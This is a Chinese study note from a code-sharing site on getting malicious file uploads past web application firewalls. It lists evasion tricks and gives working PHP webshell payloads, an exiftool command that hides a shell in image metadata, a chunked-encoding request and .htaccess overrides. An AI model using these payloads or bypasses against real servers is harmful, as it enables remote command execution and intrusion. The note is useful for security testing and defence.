主页 > 开源代码  > 

文件上传漏洞绕过WAF

文件上传漏洞绕过WAF
文件上传漏洞绕过WAF学习笔记
1. WAF检测原理

WAF(Web应用防火墙)通过以下方式拦截文件上传攻击:

关键字匹配:检测文件名、内容中的敏感词(如<?php、eval)。

扩展名黑名单:拦截.php、.jsp等危险扩展名。

文件头验证:检查文件魔数(如FFD8FF对应JPEG)。

流量特征分析:检测异常请求结构(如超长文件名、畸形HTTP包)。


2. 通用绕过技术 2.1 解析差异利用

大小写混合:sHell.PhP、.Php(部分WAF未统一大小写)。

特殊字符插入:

分号截断(IIS):shell.asp;.jpg → 解析为.asp。

换行符插入:filename="shell.p\nhp"(绕过正则匹配)。

扩展名混淆:

多重扩展名:shell.php.jpg → 结合解析漏洞(如Apache解析最后有效扩展名)。

非标准扩展名:.php7、.phtml、.phar(需环境支持)。


2.2 编码混淆

URL编码:

shell.%70hp(%70=p)→ 部分WAF不解码检测。

Unicode编码:

shell.\u0070hp → 转换为shell.php。

HTML实体编码:

文件名:shell.#112;hp(#112;=p)。

Base64/Hex编码文件内容:

php

<?= eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>  
2.3 分块传输(Chunked Encoding)

绕过原理:WAF可能不解析分块传输的文件内容。

示例:

http

POST /upload HTTP/1.1   Transfer-Encoding: chunked   ​ 7\r\n   <?php \r\n   8\r\n   system($_GET['cmd']);\r\n   0\r\n  

工具:Burp Suite的Chunked Coding Converter插件。


2.4 文件内容绕过

图片马注入:

在图片元数据中插入代码(Exif注释、IPTC字段)。

bash

exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg  

短标签与动态调用:

php

<?= `$_GET[0]`?> # 短标签   <?php $_GET['a']($_GET['b']); ?> # 动态函数调用  

代码碎片化:

php

<?php $a = "syste"; $b = "m"; $a.$b("id"); ?>  
2.5 HTTP协议特性利用

参数污染:

http

POST /upload?filename=shell.jpg HTTP/1.1   Content-Disposition: form-data; name="file"; filename="shell.php"  

部分WAF优先取URL参数中的文件名。

多文件上传绕过:

在多个文件字段中插入恶意文件,WAF可能只检测第一个。


3. 针对特定WAF的绕过 3.1 云WAF(如Cloudflare、阿里云)

缓存污染攻击:

上传合法文件触发缓存,再覆盖为恶意文件。

IP轮询绕过:

通过大量不同IP上传,绕过频率限制。

3.2 ModSecurity规则绕过

已知规则缺陷:

使用非常规扩展名:.php%20(空格)、.php.(末尾点)。

利用正则回溯限制:构造超长文件名耗尽WAF计算资源。


4. 高级技巧 4.1 .htaccess/.user.ini覆盖

.htaccess(Apache):

复制

AddType application/x-httpd-php .jpg  

.user.ini(PHP):

复制

auto_prepend_file=shell.jpg   4.2 分片上传绕过

上传文件分片后合并,绕过WAF对完整文件的检测。

4.3 0day漏洞利用

CVE-2023-XXXX:特定WAF未修复的解析漏洞(需持续跟踪)。

标签:

文件上传漏洞绕过WAF由讯客互联开源代码栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“文件上传漏洞绕过WAF